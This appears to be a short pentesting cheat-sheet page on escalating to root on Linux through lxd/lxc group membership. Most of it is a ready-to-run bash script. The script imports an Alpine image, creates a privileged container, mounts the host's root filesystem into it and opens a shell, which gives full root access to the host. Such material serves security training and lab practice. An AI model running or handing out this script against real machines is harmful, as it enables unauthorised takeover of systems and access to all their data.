PrivilegeEscalationGroups
lxd/lxc Group
Linux Privilege Escalation Group
If you belong to the Lxd group, you may be able to the root privileges.
groupsidCheck if Container Image Exists
lxc image listAutomated lxc Privilege Escalation via Bash Script.
Download the Alpine image from https://github.com/saghul/lxd-alpine-builder/tree/master
#!/bin/bash
# First, download the Alpine image from https://github.com/saghul/lxd-alpine-builder/tree/master
# and then upload it to the target machine.
# Define variables
# Set IMAGE_FILE to the correct Alpine image file (e.g., alpine-xxxxx_xxx.tar.gz)
IMAGE_FILE="alpine-v3.13-x86_64-20210218_0139.tar.gz"
IMAGE_ALIAS="privesc"
CONTAINER_NAME="privesc2root"
# Import the image to LXC
lxc image import "$IMAGE_FILE" --alias "$IMAGE_ALIAS"
# Initialize the container with elevated privileges
lxc init "$IMAGE_ALIAS" "$CONTAINER_NAME" -c security.privileged=true
# Add a disk device with access to the host root
lxc config device add "$CONTAINER_NAME" mydevice disk source=/ path=/mnt/root recursive=true
# Start the container
lxc start "$CONTAINER_NAME"
# Execute a shell inside the container
lxc exec "$CONTAINER_NAME" -- /bin/shLast updated on